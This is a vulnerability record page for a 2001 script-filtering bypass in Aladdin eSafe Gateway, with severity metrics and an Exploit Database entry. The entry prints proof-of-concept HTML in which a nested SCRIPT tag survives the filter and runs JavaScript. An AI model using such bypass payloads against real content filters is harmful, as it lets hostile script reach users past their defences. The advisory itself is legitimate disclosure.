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CVE Descriptions
Aladdin eSafe Gateway versions 3.0 and earlier allows a remote attacker to circumvent filtering of SCRIPT tags by embedding the scripts within certain HTML tags including (1) onload in the BODY tag, (2) href in the A tag, (3) the BUTTON tag, (4) the INPUT tag, or (5) any other tag in which scripts can be defined.
CVE Informations
Metrics
| Metrics | Score | Severity | CVSS Vector | Source |
|---|---|---|---|---|
| V2 | 7.5 | AV:N/AC:L/Au:N/C:P/I:P/A:P | nvd@nist.gov |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 20869
Publication date : 2001-05-19 22h00 +00:00
Author : eDvice Security Services
EDB Verified : Yes
source: https://www.securityfocus.com/bid/2750/info
eSafe Gateway is a security utility used for filtering internet content.
An html file may be crafted to bypass the script-filtering feature offered by eSafe Gateway. This is done by simply changing the syntax of the <SCRIPT> function in such a way as to trick the filter into generating html that still includes a call to execute the script.
Note: There are currently conflicting details regarding this vulnerability. It has been reported that version 3.0 of eSafe Gateway is not vulnerable. The author of the advisory insists that versions 2.x are vulnerable, while the vendor claims that script filtering was not a feature in these versions. Forthcoming updates will be released as more information becomes available.
Details
----------------------
Let's say for example that we want the following HTML code to enter an
organization and the script it contains to be executed:
<HTML><HEAD></HEAD>
<BODY>
<SCRIPT language="JavaScript">
alert("hi");
</SCRIPT>
</BODY></HTML>
If we run this page through eSafe's filtering engine, the script will be
filtered and the resulting with the following HTML code:
<HTML><HEAD></HEAD>
<BODY>
</BODY></HTML>
However, if we create the following code:
<HTML><HEAD></HEAD>
<BODY>
<SCRIPT<script language="javascript"> </script> language="javascript">
alert("hi");
</SCRIPT>
</BODY></HTML>
Then the inner "<script language="javascript"> </script>" will be extracted
and we will be left with the following HTML code:
<HTML><HEAD></HEAD>
<BODY>
<SCRIPT language="javascript">
alert("hi");
</SCRIPT>
</BODY></HTML>
Products Mentioned
Configuraton 0
Aladdin_knowledge_systems>>Esafe_gateway >> Version 3.0
References
http://archives.neohapsis.com/archives/bugtraq/2001-05/0284.html
Tags : mailing-list, x_refsource_BUGTRAQ
Tags : mailing-list, x_refsource_BUGTRAQ
